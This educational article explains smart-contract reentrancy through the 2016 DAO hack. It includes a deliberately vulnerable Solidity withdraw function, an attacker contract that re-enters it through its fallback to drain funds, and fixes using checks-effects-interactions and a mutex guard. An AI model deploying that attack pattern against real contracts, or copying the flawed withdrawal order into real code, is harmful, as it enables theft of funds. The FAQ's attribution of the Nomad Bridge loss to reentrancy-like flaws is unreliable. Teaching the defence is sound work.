The reentrancy attack is one of the most infamous vulnerabilities in smart contract development, famously exploited during the 2016 attack on The DAO—a decentralized autonomous organization built on Ethereum. This incident not only exposed critical flaws in early smart contract logic but also triggered a major crisis in the Ethereum ecosystem, ultimately leading to a contentious hard fork that split the network into Ethereum and Ethereum Classic.
In this article, we’ll explore how reentrancy attacks work, examine the technical details behind the DAO hack, and discuss best practices for preventing such exploits in modern Solidity development.
What Is a Reentrancy Attack?
A reentrancy attack occurs when a malicious contract repeatedly calls back into a vulnerable function of another contract before the initial execution is complete. This recursive behavior allows attackers to withdraw funds multiple times without the system updating account balances accordingly.
This exploit hinges on the order of operations within a smart contract—specifically, when a contract sends funds before updating internal state variables like user balances.
👉 Discover how blockchain security evolves to prevent exploits like reentrancy.
The DAO: A Groundbreaking Experiment
Launched in 2016, The DAO was envisioned as a decentralized venture fund governed entirely by code. It raised over $150 million worth of ETH from thousands of investors, making it one of the largest crowdfunding campaigns in history at the time.
Investors contributed ETH in exchange for governance tokens, giving them voting rights on which projects The DAO should fund. However, just weeks after launch, an attacker exploited a flaw in its withdrawal mechanism using a reentrancy attack—draining approximately 3.6 million ETH (nearly a third of its total holdings).
This event sparked intense debate across the crypto community about decentralization, immutability, and whether intervention was justified to recover stolen funds.
Ultimately, the Ethereum community voted to execute a hard fork, reversing the transaction history to return funds to a recovery wallet. Those who opposed this change continued on the original chain, now known as Ethereum Classic (ETC).
How Does a Reentrancy Attack Work?
To understand the mechanics of a reentrancy attack, you need to grasp a few core concepts:
- Smart Contracts: Self-executing programs on Ethereum written in languages like Solidity.
- Fallback Functions: Special functions triggered when a contract receives ETH without data or calls a non-existent function.
- External Calls: Transactions initiated from one contract to another, which can be manipulated if not carefully sequenced.
When a contract uses call to send ETH to an external address, it hands over control temporarily. If that address is a malicious contract with logic in its fallback function, it can make a new call back into the original contract—before the first transaction finishes.
If the original contract hasn’t updated the user’s balance yet, the attacker can trigger repeated withdrawals under the false impression that funds are still available.
Code Example: A Vulnerable Withdrawal Function
Here's a simplified version of The DAO’s flawed logic:
contract Dao {
mapping(address => uint256) public balances;
function deposit() public payable {
require(msg.value >= 1 ether, "Deposit at least 1 Ether");
balances[msg.sender] += msg.value;
}
function withdraw() public {
require(balances[msg.sender] >= 1 ether, "Insufficient balance");
uint256 amount = balances[msg.sender];
// Vulnerability: Sending ETH before balance update
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send ETH");
// Balance updated too late!
balances[msg.sender] = 0;
}
function daoBalance() public view returns (uint256) {
return address(this).balance;
}
}The Flaw:
The contract sends ETH before setting balances[msg.sender] = 0. During the .call, execution jumps to the attacker’s contract, where a fallback function can recursively call withdraw() again—each time bypassing the balance check because it hasn’t been reset.
The Attacker’s Contract
The malicious contract used in the attack might look like this:
interface IDao {
function withdraw() external;
function deposit() external payable;
}
contract Hacker {
IDao public dao;
constructor(address _dao) {
dao = IDao(_dao);
}
function attack() public payable {
require(msg.value >= 1 ether);
dao.deposit{value: msg.value}();
dao.withdraw();
}
fallback() external payable {
if (address(dao).balance >= 1 ether) {
dao.withdraw(); // Re-enter before balance update
}
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}When dao.withdraw() is called, it sends ETH to Hacker. Since Hacker has no receive() function, the fallback() is triggered. Inside fallback, it immediately calls dao.withdraw() again—re-entering the function while the first call is still active.
This loop continues until either The DAO runs out of funds or gas is exhausted.
Preventing Reentrancy Attacks
Two primary patterns can mitigate this risk:
1. Checks-Effects-Interactions Pattern
Always follow this sequence:
- Check conditions (e.g., balance, permissions).
- Update state (e.g., set balance to zero).
- Interact with external contracts (e.g., send ETH).
Fixed version:
function withdraw() public {
require(balances[msg.sender] >= 1 ether, "Insufficient balance");
uint256 amount = balances[msg.sender];
// ✅ Effect: Update state first
balances[msg.sender] = 0;
// ✅ Interaction: Send ETH after update
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send ETH");
}👉 Learn how secure coding practices protect billions in digital assets today.
2. Using Reentrancy Guards
OpenZeppelin provides a ReentrancyGuard modifier that uses a mutex lock:
bool private locked;
modifier noReentrancy() {
require(!locked, "No reentrancy");
locked = true;
_;
locked = false;
}
function withdraw() public noReentrancy {
// Withdraw logic
}This ensures only one instance of the function can run at a time.
Frequently Asked Questions
Q: Was The DAO hack due to a bug in Ethereum itself?
No. The vulnerability existed in The DAO’s smart contract code, not in Ethereum’s protocol. The EVM executed exactly what was programmed—the flaw was in logic design.
Q: Can reentrancy attacks still happen today?
Yes. Despite widespread awareness, reentrancy bugs still appear in new projects—especially complex DeFi protocols. In 2022, Nomad Bridge lost over $190M partly due to reentrancy-like logic flaws.
Q: How do modern tools detect reentrancy?
Static analysis tools like Slither, MythX, and Hardhat plugins scan code for known anti-patterns. Formal verification and audits are also standard in professional development.
Q: Is blocking reentrancy always safe?
Generally yes—but overusing locks may reduce composability. The key is applying guards only where external calls interact with mutable state.
Q: What happened to The DAO after the attack?
The project was effectively abandoned after the fork. However, its legacy lives on as a cautionary tale and catalyst for better security standards.
Key Takeaways
Reentrancy attacks highlight the importance of:
- Writing secure, auditable code.
- Following best practices like checks-effects-interactions.
- Using established libraries like OpenZeppelin.
- Conducting thorough third-party audits.
While The DAO experiment failed, it accelerated maturity in the blockchain space—driving innovation in formal verification, bug bounties, and decentralized governance models.
As decentralized finance grows, understanding historical exploits like this one remains essential for developers and users alike.
👉 Stay ahead of blockchain threats with cutting-edge security insights.